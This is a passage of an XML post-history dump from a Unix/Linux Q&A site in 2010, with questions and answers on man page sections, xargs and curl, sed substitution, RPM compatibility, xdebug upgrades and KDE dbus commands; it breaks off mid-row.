  <row Id="7661" PostHistoryTypeId="2" PostId="3585" RevisionGUID="a22f628b-cbab-4973-8797-9b70c66b394c" CreationDate="2010-10-28T20:31:11.303" UserId="2472" Text="I have suspicions that the issue may be due to the BIOS not correctly reporting on what lowmem it really uses.&#xD;&#xA;&#xD;&#xA;By default this option is in effect:&#xD;&#xA;&#xD;&#xA;    memory_corruption_check_size=64K&#xD;&#xA;&#xD;&#xA;You can try setting that to larger values to make the memory corruption scanner examine a larger chunk of lowmem.&#xD;&#xA;&#xD;&#xA;Look for &quot;memory_corruption_check_size&quot; in&#xD;&#xA;&#xD;&#xA; - http://lxr.linux.no/#linux+v2.6.35.7/Documentation/kernel-parameters.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;I'd be interested in knowing what you find, if anything.&#xD;&#xA;" />
  <row Id="7662" PostHistoryTypeId="2" PostId="3586" RevisionGUID="068047ac-9459-43b1-bd28-b6fa77252354" CreationDate="2010-10-28T21:25:15.820" UserId="2151" Text="So, for example, when I type `man ls` I see `LS(1)`. But if I type `man apachectl` I see `APACHECTL(8)` and if I type `man cd` I end up with `cd(n)`.&#xD;&#xA;&#xD;&#xA;I'm wondering what the significance of the numbers in the parentheses are, if they have any." />
  <row Id="7663" PostHistoryTypeId="1" PostId="3586" RevisionGUID="068047ac-9459-43b1-bd28-b6fa77252354" CreationDate="2010-10-28T21:25:15.820" UserId="2151" Text="What do the numbers in a man page mean?" />
  <row Id="7664" PostHistoryTypeId="3" PostId="3586" RevisionGUID="068047ac-9459-43b1-bd28-b6fa77252354" CreationDate="2010-10-28T21:25:15.820" UserId="2151" Text="émanà" />
  <row Id="7665" PostHistoryTypeId="2" PostId="3587" RevisionGUID="b6ff1fe7-9935-4e5a-a3cc-afbd3fc3b9ab" CreationDate="2010-10-28T21:32:11.973" UserId="73" Text="The number corresponds to what section of the manual that page is from; 1 is user commands, while 8 is sysadmin stuff. The man page for man itself (`man man`) explains it and lists the standard ones:&#xD;&#xA;&#xD;&#xA;    MANUAL SECTIONS&#xD;&#xA;        The standard sections of the manual include:&#xD;&#xA;&#xD;&#xA;        1      User Commands&#xD;&#xA;        2      System Calls&#xD;&#xA;        3      C Library Functions&#xD;&#xA;        4      Devices and Special Files&#xD;&#xA;        5      File Formats and Conventions&#xD;&#xA;        6      Games et. Al.&#xD;&#xA;        7      Miscellanea&#xD;&#xA;        8      System Administration tools and Deamons&#xD;&#xA;    &#xD;&#xA;        Distributions customize the manual section to their specifics,&#xD;&#xA;        which often include additional sections.&#xD;&#xA;&#xD;&#xA;There are certain terms that have different pages in different sections (e.g. `printf` as a command appears in section 1, as a stdlib function appears in section 3); in cases like that you can pass the section number to `man` before the page name to choose which one you want:&#xD;&#xA;&#xD;&#xA;    $ man 1 printf&#xD;&#xA;    $ man 3 printf" />
  <row Id="7666" PostHistoryTypeId="2" PostId="3588" RevisionGUID="be30bc79-452e-4e84-b6fe-93e70fac13aa" CreationDate="2010-10-28T21:32:17.840" UserId="2472" Text="Google was hopeless about this.&#xD;&#xA;Ubuntuforums didn't help.&#xD;&#xA;Stack Exchange didn't help.&#xD;&#xA;Picking apart makefiles with unusual names using emacs find-grep iteratively eventually uncovered:&#xD;&#xA;&#xD;&#xA;    ./debian/rules unpack&#xD;&#xA;    ./debian/rules patch&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7667" PostHistoryTypeId="2" PostId="3589" RevisionGUID="3c8639eb-3c47-4c71-b720-b8e734edd8b7" CreationDate="2010-10-28T21:33:14.483" UserId="653" Text="These are section numbers.&#xD;&#xA;Just type `man man` or open konqueror and type man://man and you'll see what are these sections." />
  <row Id="7668" PostHistoryTypeId="5" PostId="3587" RevisionGUID="d8f99a41-f385-4fab-aa1e-4c9f16641276" CreationDate="2010-10-28T21:51:25.957" UserId="73" Comment="added 630 characters in body; added 9 characters in body" Text="The number corresponds to what section of the manual that page is from; 1 is user commands, while 8 is sysadmin stuff. The man page for man itself (`man man`) explains it and lists the standard ones:&#xD;&#xA;&#xD;&#xA;    MANUAL SECTIONS&#xD;&#xA;        The standard sections of the manual include:&#xD;&#xA;&#xD;&#xA;        1      User Commands&#xD;&#xA;        2      System Calls&#xD;&#xA;        3      C Library Functions&#xD;&#xA;        4      Devices and Special Files&#xD;&#xA;        5      File Formats and Conventions&#xD;&#xA;        6      Games et. Al.&#xD;&#xA;        7      Miscellanea&#xD;&#xA;        8      System Administration tools and Deamons&#xD;&#xA;    &#xD;&#xA;        Distributions customize the manual section to their specifics,&#xD;&#xA;        which often include additional sections.&#xD;&#xA;&#xD;&#xA;There are certain terms that have different pages in different sections (e.g. `printf` as a command appears in section 1, as a stdlib function appears in section 3); in cases like that you can pass the section number to `man` before the page name to choose which one you want, or use `man -a` to show every matching page in a row:&#xD;&#xA;&#xD;&#xA;    $ man 1 printf&#xD;&#xA;    $ man 3 printf&#xD;&#xA;    $ man -a printf&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You can tell what sections a term falls in with `man -k` (equivalent to the `apropos` command). It will do substring matches too (e.g. it will show `sprintf` if you run `man -k printf`), so you need to use `^term` to limit it:&#xD;&#xA;&#xD;&#xA;    $ man -k '^printf'&#xD;&#xA;    printf               (1)  - format and print data&#xD;&#xA;    printf               (1p)  - write formatted output&#xD;&#xA;    printf               (3)  - formatted output conversion&#xD;&#xA;    printf               (3p)  - print formatted output&#xD;&#xA;    printf [builtins]    (1)  - bash built-in commands, see bash(1)&#xD;&#xA;" />
  <row Id="7669" PostHistoryTypeId="2" PostId="3590" RevisionGUID="4bac8752-ecb6-4533-ae7e-2367e2866b75" CreationDate="2010-10-28T22:03:43.463" UserId="885" Text="I don't know much about KDE, but maybe this will help you get started.&#xD;&#xA;&#xD;&#xA;KDE can be controlled from the command line with `qdbus`. You'd want something like `qdbus org.kde.ActivityManager /ActivityManager SomeFunctionName &quot;activity name&quot;` or `qdbus org.kde.DesktopCorona /Activities/ActivityName ensureActive`. I don't have a recent enough version of KDE to test and KDE's dbus documentation is very poor (each class is minimally documented, e.g. [Activity](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classActivity.html), [DesktopCorona](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classDesktopCorona.html)). If you type `qdbus` with up to two arguments, it will list the possibilities for the next argument. Another way to explore the dbus tree is `qdbusviewer` in the Qt development tools.&#xD;&#xA;&#xD;&#xA;To make a shell react to external events, the best you can do is make it check something before displaying a prompt. Bash runs `$PROMPT_COMMAND` before displaying a prompt, and zsh executes the `precmd` function. So you can look up the current KDE activity and do something if it's changed from the last time you looked.&#xD;&#xA;" />
  <row Id="7671" PostHistoryTypeId="2" PostId="3591" RevisionGUID="dc904b21-8bdb-4902-b2ad-8535fed57732" CreationDate="2010-10-29T01:50:21.703" UserDisplayName="WinGuru" Text="In case this is helpful to anyone, another quick and dirty way of rescanning your SATA controllers is to issue the following command:&#xD;&#xA;&#xD;&#xA;    for i in `ls /sys/class/scsi_host/`; do echo &quot;- - -&quot; &gt; /sys/class/scsi_host/$i/scan; done&#xD;&#xA;&#xD;&#xA;This works for me even with internal, non hot-swappable SATA controllers where using the ***rescan-scsi-bus.sh*** command would not." />
  <row Id="7672" PostHistoryTypeId="2" PostId="3592" RevisionGUID="a532e8db-6881-4fb5-999f-ba2536b2a0d5" CreationDate="2010-10-29T01:52:56.010" UserId="2320" Text="I found solution in [evrouter][1]. It maps any keyboard event onto keypress in X.Org if active window title is matched by regexp you specify. It also helps me to deal with Zoom key on my Microsoft Natural Keyboard.  &#xD;&#xA;The bad thing is default X keypress also occurs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bedroomlan.org/projects/evrouter" />
  <row Id="7673" PostHistoryTypeId="2" PostId="3593" RevisionGUID="ef624194-ecf5-4b13-99fc-6ac5735cc898" CreationDate="2010-10-29T01:54:15.037" UserId="163" Text="Say I have a file with the following&#xD;&#xA;&#xD;&#xA;    bob&#xD;&#xA;    john&#xD;&#xA;    sue&#xD;&#xA;&#xD;&#xA;Now these directly corrospond to (in this case) URL pattern such as `http://example.com/persons/bob.tar`, `john.tar`, `sue.tar`.&#xD;&#xA;&#xD;&#xA;I would like to take these lines and run them through `xargs`. I don't know what is passed to the command being executed though. How do I access the parameter either from the prompt (say I want to simply echo each line like `cat file | xargs echo $PARAM`) or from a bash script. " />
  <row Id="7674" PostHistoryTypeId="1" PostId="3593" RevisionGUID="ef624194-ecf5-4b13-99fc-6ac5735cc898" CreationDate="2010-10-29T01:54:15.037" UserId="163" Text="Using xargs with input from a file" />
  <row Id="7675" PostHistoryTypeId="3" PostId="3593" RevisionGUID="ef624194-ecf5-4b13-99fc-6ac5735cc898" CreationDate="2010-10-29T01:54:15.037" UserId="163" Text="ébashàéscriptingàéxargsà" />
  <row Id="7676" PostHistoryTypeId="2" PostId="3594" RevisionGUID="72858b26-168d-49be-a2c6-c5362c2da858" CreationDate="2010-10-29T02:46:21.530" UserId="73" Text="I think you're asking how to insert the individual lines pulled from `xargs`' stdin in the middle of a command, instead of just pasting it on the end always. If so, the `-I` flag takes a `replacement-string` argument; `xargs` will then replace `replacement-string` in the command with the line read from stdin:&#xD;&#xA;&#xD;&#xA;    $ cat file | xargs -I foobar curl http://example.com/foobar.tar" />
  <row Id="7677" PostHistoryTypeId="2" PostId="3595" RevisionGUID="2d12db92-37d7-4869-a758-cf39fd80400b" CreationDate="2010-10-29T03:47:44.060" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;In Gentoo there is the file `/var/lib/portage/world` that contains packages that I explicitly installed. By explicit I mean, packages that I choose, not including anything installed by default, or pulled in by the dependencies.&#xD;&#xA;&#xD;&#xA;Is there a similar file or a command to find that information in Ubuntu?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="7678" PostHistoryTypeId="1" PostId="3595" RevisionGUID="2d12db92-37d7-4869-a758-cf39fd80400b" CreationDate="2010-10-29T03:47:44.060" UserId="250" Text="Ubuntu list explicitly installed packages" />
  <row Id="7679" PostHistoryTypeId="3" PostId="3595" RevisionGUID="2d12db92-37d7-4869-a758-cf39fd80400b" CreationDate="2010-10-29T03:47:44.060" UserId="250" Text="éubuntuàépackageömanagementà" />
  <row Id="7680" PostHistoryTypeId="2" PostId="3596" RevisionGUID="20369bcf-e9ab-4781-88c7-d395bb9130d0" CreationDate="2010-10-29T06:53:10.703" UserId="1194" Text="Check out `/var/log/apt/term.log`" />
  <row Id="7681" PostHistoryTypeId="5" PostId="3595" RevisionGUID="0a9a024e-ca87-4d4b-ab18-722414edf509" CreationDate="2010-10-29T07:18:01.073" UserId="1327" Comment="deleted 18 characters in body" Text="In Gentoo there is the file `/var/lib/portage/world` that contains packages that I explicitly installed. By explicit I mean, packages that I choose, not including anything installed by default, or pulled in by the dependencies.&#xD;&#xA;&#xD;&#xA;Is there a similar file or a command to find that information in Ubuntu?" />
  <row Id="7682" PostHistoryTypeId="2" PostId="3597" RevisionGUID="eca8f6a1-81bf-4b6d-bbd4-7744fc154b7b" CreationDate="2010-10-29T07:26:40.550" UserId="1327" Text="You would want to have a look at [this article][1]. &#xD;&#xA;&#xD;&#xA;At the end of the article, there is a python script that should do what you want.&#xD;&#xA;&#xD;&#xA;It was written for **(k)ubuntu**. but should work for **Ubuntu** aswell. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://notes.setvisual.de/list%20of%20explicitly%20installed%20packages" />
  <row Id="7683" PostHistoryTypeId="2" PostId="3598" RevisionGUID="95a278ca-5261-48d3-aaf9-9d523fc1f5e5" CreationDate="2010-10-29T07:36:28.390" UserId="1327" Text="Micheal's answer is right, and should sort out your problem. Running&#xD;&#xA;&#xD;&#xA;    cat file | xargs curl -I % http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;will download files `bob.tar` `john.tar.` `sue.tar` as expected.&#xD;&#xA;&#xD;&#xA;**BUT**: [Cat is Useless][1]&#xD;&#xA;&#xD;&#xA;rather use:&#xD;&#xA;&#xD;&#xA;    &lt;file xargs curl -I % http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;[1]:http://partmaps.org/era/unix/award.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7684" PostHistoryTypeId="2" PostId="3599" RevisionGUID="707e786a-d955-4303-befd-ab9a6dcde5aa" CreationDate="2010-10-29T07:47:49.923" UserId="1327" Text="In programing we often see the use of [Regular Expressions][1].&#xD;&#xA;&#xD;&#xA;One of the most common forms is:&#xD;&#xA;&#xD;&#xA;    newText = text.replace( /regex/, 'replacementString' )&#xD;&#xA;&#xD;&#xA;If **stdin** is `text` and **stdout** is `newText`, what would the bash equivalent be to the above code?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Regular_expression" />
  <row Id="7685" PostHistoryTypeId="1" PostId="3599" RevisionGUID="707e786a-d955-4303-befd-ab9a6dcde5aa" CreationDate="2010-10-29T07:47:49.923" UserId="1327" Text="Applying a regex to stdin" />
  <row Id="7686" PostHistoryTypeId="3" PostId="3599" RevisionGUID="707e786a-d955-4303-befd-ab9a6dcde5aa" CreationDate="2010-10-29T07:47:49.923" UserId="1327" Text="ébashàéregexà" />
  <row Id="7687" PostHistoryTypeId="2" PostId="3600" RevisionGUID="2587c0e4-5e0e-41b8-bd28-a3c6493e0df9" CreationDate="2010-10-29T08:05:48.913" UserId="1946" Text="* `man sed`&#xD;&#xA;* `sed s/regex/replacementString/g`&#xD;&#xA;" />
  <row Id="7688" PostHistoryTypeId="2" PostId="3601" RevisionGUID="fca7583a-bfcb-4716-8364-31879f827abf" CreationDate="2010-10-29T08:13:03.170" UserId="33" Text="For simple uses you can do it like this:&#xD;&#xA;&#xD;&#xA;    newText=${text/SEARCH/replacement}&#xD;&#xA;&#xD;&#xA;as it is described [here][1], but for more complex expressions sed is the way to go as alex described earlier.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/string-manipulation.html" />
  <row Id="7689" PostHistoryTypeId="2" PostId="3602" RevisionGUID="b5e6ad67-6e79-4174-839f-2017bd07f7c8" CreationDate="2010-10-29T11:47:23.413" UserId="1284" Text="I'm a little confused about RPM's in Red Hat and/or Fedora (and/or other distros?).  I can certainly accept that 64-bit RPM's are needed for 64-bit OS'es and 32-bit for 32-bit OS'es but... If I have an RPM for ... OpenOffice.org, is that RPM valid for any of my RPM-accepting OS'es or do I need to seek out an RPM specifically tailored to the OS that I'm working with?" />
  <row Id="7690" PostHistoryTypeId="1" PostId="3602" RevisionGUID="b5e6ad67-6e79-4174-839f-2017bd07f7c8" CreationDate="2010-10-29T11:47:23.413" UserId="1284" Text="Are RPMs valid across platforms?" />
  <row Id="7691" PostHistoryTypeId="3" PostId="3602" RevisionGUID="b5e6ad67-6e79-4174-839f-2017bd07f7c8" CreationDate="2010-10-29T11:47:23.413" UserId="1284" Text="éfedoraàérpmàérhelà" />
  <row Id="7692" PostHistoryTypeId="2" PostId="3603" RevisionGUID="1bb3826d-255f-4cc7-b699-5d7edcfc1bd1" CreationDate="2010-10-29T12:07:12.287" UserId="33" Text="As usual: The answer depends.&#xD;&#xA;RPMs (or basically any given binary package container) contain runnable code. Most of the time that code depends on certain libraries or programs, the package specifies that it does for example depend on library `libA` in a version &gt;= 1.0.&#xD;&#xA;&#xD;&#xA;Now take two different distributions with both using the RPM packaging format. let's say one calls the package libA-1.0 so the RPM you have specifies that it depends on libA. The second binary distribution has a different naimg scheme and prefixes the package with a `language` so it's named `language-libA`. Even if the contents of both these libA packages are identical, the package manager cannot know that. You could of course force RPM to just install the package anyways without looking at the dependencies but that's usually just asking for punishment.&#xD;&#xA;&#xD;&#xA;The problem is less bad if both distributions are related or even based upon one another: Ubuntu for example is based on debian and therefore shares many of the naming conventions and packages so you can othen transfer a package build for debian to a Ubuntu box.&#xD;&#xA;&#xD;&#xA;It also depends a lot on what language the package is written in: If you have something interpreted like Python where the package is basically just a bunch of text files taking a package for a different distribution usually is easy to handle, but if it's written in C++ and depends and both distributions use different versions of core libraries or compilers you're basically out of luck." />
  <row Id="7693" PostHistoryTypeId="5" PostId="3598" RevisionGUID="fbca7c2c-8aac-421f-bb38-dfdb014172ed" CreationDate="2010-10-29T12:24:44.033" UserId="1327" Comment="added 96 characters in body; edited body" Text="Michael's [answer][2] is right, and should sort out your problem. Running&#xD;&#xA;&#xD;&#xA;    cat file | xargs curl -I % http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;will download files `bob.tar` `john.tar.` `sue.tar` as expected.&#xD;&#xA;&#xD;&#xA;**BUT**: [Cat is Useless][1]&#xD;&#xA;&#xD;&#xA;rather use:&#xD;&#xA;&#xD;&#xA;    &lt;file xargs curl -I % http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;[1]:http://partmaps.org/era/unix/award.html&#xD;&#xA;[2]:http://unix.stackexchange.com/questions/3593/using-xargs-with-input-from-a-file/3598#3598" />
  <row Id="7694" PostHistoryTypeId="2" PostId="3604" RevisionGUID="474669c8-e544-4bc6-8f34-5668e1fbc573" CreationDate="2010-10-29T12:27:06.173" UserId="29" Text="in addition [tante's answer](http://unix.stackexchange.com/questions/3602/are-rpms-valid-across-platforms/3603#3603). It basically depends on whether or not the binary contents of what is essentially a zip file with metadata, are linked properly, if they aren't linked properly they will have to be relinked or otherwise won't work. Some RPMS may only contain things like perl modules which don't require linking, so as long as they are in the right spot they'll work. However, IIRC, there is more than one RPM format, I believe OpenSuse's RPM format differ's slightly from Red Hats, and thus wouldn't work on Fedora. Obviously though a Fedora package is unlikely to work on Red Hat because the library versions are so different, and the linking would be off.&#xD;&#xA;&#xD;&#xA;In short, no, it won't work, don't bother trying. Only Generic RPM's like those provided for flash, oracle (you'll note oracle requires relinking), avg, etc might work elsewhere." />
  <row Id="7695" PostHistoryTypeId="6" PostId="3602" RevisionGUID="6a5f0614-47c7-4748-a803-a77e00e2f32a" CreationDate="2010-10-29T12:32:13.920" UserId="29" Comment="add tags" Text="éfedoraàépackagingàérpmàérhelàépackageömanagementà" />
  <row Id="7697" PostHistoryTypeId="2" PostId="3605" RevisionGUID="24fc4785-bdaf-430a-9875-e75f6fbdd39c" CreationDate="2010-10-29T12:47:32.080" UserId="1452" Text="My DSL connection worked fine (almost...) in Ubuntu 10.04 Lucid for a couple of days (only Live Mail and Ovi wouldn't load at all) but then stopped working altogether. It says &quot;Connection established&quot; even if I don't type in my password in the connection settings rather than prompting me for the password.&#xD;&#xA;&#xD;&#xA;I use the same connection from Windows without any problems. All I am required to do is put in my user name, the service name and the password and it connects and works perfectly fine.&#xD;&#xA;&#xD;&#xA;Anyone know how it can be fixed or what else I need to put into the settings for it to work properly? I've tried copying all the details (static IP, dns servers, gateway, etc) from Windows and tried specifying them in the settings, but the result was the same - it worked for a while, but stopped again.&#xD;&#xA;&#xD;&#xA;**Update:** Now it seems to work for a few minutes at random times but then dies again.&#xD;&#xA;&#xD;&#xA;(Cross-posted from askubuntu due to lack of answers [there][1].)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com/questions/9958/dsl-connection-not-working-in-10-04" />
  <row Id="7698" PostHistoryTypeId="1" PostId="3605" RevisionGUID="24fc4785-bdaf-430a-9875-e75f6fbdd39c" CreationDate="2010-10-29T12:47:32.080" UserId="1452" Text="DSL connection not working in Ubuntu 10.04" />
  <row Id="7699" PostHistoryTypeId="3" PostId="3605" RevisionGUID="24fc4785-bdaf-430a-9875-e75f6fbdd39c" CreationDate="2010-10-29T12:47:32.080" UserId="1452" Text="éubuntuàénetworkingà" />
  <row Id="7700" PostHistoryTypeId="2" PostId="3606" RevisionGUID="3693e61a-c119-46cc-9da0-f452e7ed0ae8" CreationDate="2010-10-29T13:05:00.090" UserId="29" Text="I was running `rsnapshot` as root and I got the following error. Why would this happen? what is `.gvfs`&#xD;&#xA;&#xD;&#xA;    rsnapshot weekly                                                                    slave-iv&#xD;&#xA;    rsync: readlink_stat(&quot;/home/griff/.gvfs&quot;) failed: Permission denied (13)&#xD;&#xA;    IO error encountered -- skipping file deletion&#xD;&#xA;    rsync: readlink_stat(&quot;/home/xenoterracide/.gvfs&quot;) failed: Permission denied (13)&#xD;&#xA;    rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1042) [sender=3.0.7]&#xD;&#xA;" />
  <row Id="7701" PostHistoryTypeId="1" PostId="3606" RevisionGUID="3693e61a-c119-46cc-9da0-f452e7ed0ae8" CreationDate="2010-10-29T13:05:00.090" UserId="29" Text="root permissible denied in rnsapshot? what is .gvfs" />
  <row Id="7702" PostHistoryTypeId="3" PostId="3606" RevisionGUID="3693e61a-c119-46cc-9da0-f452e7ed0ae8" CreationDate="2010-10-29T13:05:00.090" UserId="29" Text="éfilesystemsàébackupàéioàérsyncàérsnapshotà" />
  <row Id="7703" PostHistoryTypeId="2" PostId="3607" RevisionGUID="1dfba797-8fd7-40d7-a866-e9fc4b881a92" CreationDate="2010-10-29T13:39:44.477" UserId="31" Text="The history of these section numbers goes back to the original [Unix Programmer's Manual][1] by Thompson and Ritchie in 1971. &#xD;&#xA;&#xD;&#xA;The original sections were&#xD;&#xA;&#xD;&#xA; 1. Commands&#xD;&#xA; 1. System calls&#xD;&#xA; 1. Subroutines&#xD;&#xA; 1. Special files&#xD;&#xA; 1. File formats&#xD;&#xA; 1. User-maintained programs&#xD;&#xA; 1. Miscellaneous&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cm.bell-labs.com/cm/cs/who/dmr/manintro.html" />
  <row Id="7704" PostHistoryTypeId="2" PostId="3608" RevisionGUID="679d8a7c-f14e-43b1-9fa6-874219f704c4" CreationDate="2010-10-29T13:53:06.863" UserId="131" Text="I previously had problems connecting to certain routers via WPA2 with NetworkManager (which was the default in Ubuntu last time I used it). I solved it by installing wicd, which worked.&#xD;&#xA;&#xD;&#xA;(Note: This doesn't apply if you aren't using a wireless router, or if you don't use WPA2, or if you don't use WPA2)" />
  <row Id="7705" PostHistoryTypeId="4" PostId="3606" RevisionGUID="28196740-f3ca-454d-af7e-5abda74f9201" CreationDate="2010-10-29T13:56:25.093" UserId="29" Comment="add more punctuation" Text="root user denied access to .gvfs in rnsapshot?" />
  <row Id="7706" PostHistoryTypeId="5" PostId="3606" RevisionGUID="28196740-f3ca-454d-af7e-5abda74f9201" CreationDate="2010-10-29T13:56:25.093" UserId="29" Comment="add more punctuation" Text="I was running `rsnapshot` as root and I got the following error. Why would this happen? what is `.gvfs`?&#xD;&#xA;&#xD;&#xA;    rsnapshot weekly                                                                    slave-iv&#xD;&#xA;    rsync: readlink_stat(&quot;/home/griff/.gvfs&quot;) failed: Permission denied (13)&#xD;&#xA;    IO error encountered -- skipping file deletion&#xD;&#xA;    rsync: readlink_stat(&quot;/home/xenoterracide/.gvfs&quot;) failed: Permission denied (13)&#xD;&#xA;    rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1042) [sender=3.0.7]&#xD;&#xA;" />
  <row Id="7707" PostHistoryTypeId="2" PostId="3609" RevisionGUID="4f40ec12-0766-4c38-b68d-b58049340e1c" CreationDate="2010-10-29T14:17:49.670" UserId="2481" Text="I'm trying to install SoX, and get through configure fine, but it fails on make with the following: &#xD;&#xA;&#xD;&#xA;    /bin/sh ../libtool --silent  --tag=CC  --silent --mode=compile gcc -DHAVE_CONFIG_H&#xD;&#xA;    -I.  -DLADSPA_PATH=&quot;\&quot;/var/tmp/sox/sox14/lib/ladspa\&quot;&quot; -DPKGLIBDIR=&quot;\&quot;/var/tmp/sox&#xD;&#xA;    /sox14/lib/sox\&quot;&quot;    -Wconversion    -g -O2 -D_FORTIFY_SOURCE=2 -Wall -W -Wmissing-&#xD;&#xA;    prototypes -Wstrict-prototypes -pedantic -MT libsox_la-spectrogram.lo -MD -MP -MF &#xD;&#xA;    .deps/libsox_la-spectrogram.Tpo -c -o libsox_la-spectrogram.lo `test -f &#xD;&#xA;    'spectrogram.c' || echo './'`spectrogram.c&#xD;&#xA;    spectrogram.c: In function `stop':&#xD;&#xA;    spectrogram.c:593: warning: implicit declaration of function `png_set_rows'&#xD;&#xA;    spectrogram.c:594: warning: implicit declaration of function `png_write_png'&#xD;&#xA;    spectrogram.c:594: `PNG_TRANSFORM_IDENTITY' undeclared (first use in this function)&#xD;&#xA;    spectrogram.c:594: (Each undeclared identifier is reported only once&#xD;&#xA;    spectrogram.c:594: for each function it appears in.)&#xD;&#xA;    make[1]: *** [libsox_la-spectrogram.lo] Error 1&#xD;&#xA;    make[1]: Leaving directory `/var/tmp/sox/sox-14.3.1/src'&#xD;&#xA;    make: *** [all-recursive] Error 1&#xD;&#xA;&#xD;&#xA;I'm guessing this is more of a linker/pointer error than anything else because this is the beginning of spectrogram.c&#xD;&#xA;&#xD;&#xA;    #include &quot;sox_i.h&quot;&#xD;&#xA;    #include &quot;fft4g.h&quot;&#xD;&#xA;    #include &quot;sgetopt.h&quot;&#xD;&#xA;    #include &lt;assert.h&gt;&#xD;&#xA;    #include &lt;math.h&gt;&#xD;&#xA;    #include &lt;png.h&gt;&#xD;&#xA;&#xD;&#xA;png.h is included, which is where PNG_TRANSFORM_IDENTITY is supposed to come from. Am I missing something?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Bharat&#xD;&#xA;" />
  <row Id="7708" PostHistoryTypeId="1" PostId="3609" RevisionGUID="4f40ec12-0766-4c38-b68d-b58049340e1c" CreationDate="2010-10-29T14:17:49.670" UserId="2481" Text="Make failing while trying to install SoX (spectrogram - libpng)" />
  <row Id="7709" PostHistoryTypeId="3" PostId="3609" RevisionGUID="4f40ec12-0766-4c38-b68d-b58049340e1c" CreationDate="2010-10-29T14:17:49.670" UserId="2481" Text="éinstallàéserveràégccàémakeà" />
  <row Id="7710" PostHistoryTypeId="2" PostId="3610" RevisionGUID="33de639c-3f44-4ab7-b9b2-9ce34cf7c878" CreationDate="2010-10-29T14:43:16.003" UserId="394" Text="I'm running debian 5.0.6 and have installed xdebug 2.0.3 via aptitude. Now I want to install PHPUnit, and when trying to do it through pear, I get the error that PHPUnit wants a more recent xdebug &#xD;&#xA;&#xD;&#xA;    phpunit/PHPUnit requires PHP extension &quot;xdebug&quot; (version &gt;= 2.0.5), installed version is 2.0.3&#xD;&#xA;&#xD;&#xA;Looking at the debian site, I don't see a package for 2.0.5. Is it safe to try upgrade xdebug outside of the apt system? I'm not entirely clear on how these things ( php, apache2, and xdebug ) are interrelated, and I don't want to break things and have downtime. My rough guess would be that I would build xdebug 2.0.5 and then restart Apache. If I go it alone, is aptitude going to trip up on that later, when an xdebug package comes out?" />
  <row Id="7711" PostHistoryTypeId="1" PostId="3610" RevisionGUID="33de639c-3f44-4ab7-b9b2-9ce34cf7c878" CreationDate="2010-10-29T14:43:16.003" UserId="394" Text="upgrade xdebug without using apt?" />
  <row Id="7712" PostHistoryTypeId="3" PostId="3610" RevisionGUID="33de639c-3f44-4ab7-b9b2-9ce34cf7c878" CreationDate="2010-10-29T14:43:16.003" UserId="394" Text="édebianàémakeàéaptà" />
  <row Id="7713" PostHistoryTypeId="2" PostId="3611" RevisionGUID="3131c8b1-2229-4f91-9128-719c5c7a8584" CreationDate="2010-10-29T15:25:32.720" UserId="2482" Text="I find that using pv in this manner works well for that purpose&#xD;&#xA;&#xD;&#xA;pv -p file1 &gt; file2" />
  <row Id="7714" PostHistoryTypeId="2" PostId="3612" RevisionGUID="6ae06ed1-fbd6-4a46-8577-8b9fe5efe506" CreationDate="2010-10-29T15:30:09.410" UserId="33" Text="You are right, you can just install the php-dev package (to be able to compile against the existing PHP) and build an updated xdebug version, overwriting the debian version. The problem would obviously be that as soon as debian bumps their package (maybe just for a small patch) your changes would get overwritten. You could build your own package but that tends to be somewhat of a pain in the ass.&#xD;&#xA;&#xD;&#xA;But from a downtime/problem point of view you should be OK (the worst that could happen would be that you'd maybe have to adjust the path of the xdebug extension in the php.ini file)." />
  <row Id="7715" PostHistoryTypeId="5" PostId="3590" RevisionGUID="b9f4422e-433e-4bd2-8f17-01f73217d2f2" CreationDate="2010-10-29T18:33:55.100" UserId="885" Comment="added qdbus list script" Text="I don't know much about KDE, but maybe this will help you get started.&#xD;&#xA;&#xD;&#xA;KDE can be controlled from the command line with `qdbus`. You'd want something like &lt;code&gt;qdbus org.kde.ActivityManager /ActivityManager &lt;em&gt;SomeFunctionName&lt;/em&gt; &quot;activity name&quot;&lt;/code&gt; or &lt;code&gt;qdbus org.kde.DesktopCorona /&lt;em&gt;Something&lt;/em&gt;/activity_name ensureActive&lt;/code&gt;. I don't know what *SomeFunctionName* and *Something* should be, and I'm not sure about the rest of the commands either — I only have kde 4.4 available, and can't find anything about activities.&#xD;&#xA;&#xD;&#xA;KDE's dbus documentation is very poor. Each class is minimally documented, e.g. [Activity](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classActivity.html), [DesktopCorona](http://api.kde.org/4.5-api/kdebase-workspace-apidocs/plasma/html/classDesktopCorona.html)). But you'll probably have to experiment and perhaps read the source (there are links in the API documentation pages) to find out what is available.&#xD;&#xA;&#xD;&#xA;If you type `qdbus` with up to two arguments, it will list the possibilities for the next argument. The following shell snippet lists all available Qt-dbus methods:&#xD;&#xA;&#xD;&#xA;    for x in $(qdbus | sed '/^:/d'); do&#xD;&#xA;      for y in $(qdbus $x); do&#xD;&#xA;        qdbus $x $y | sed &quot;s~^~$x $y ~&quot;&#xD;&#xA;      done&#xD;&#xA;    done 2&gt;/dev/null 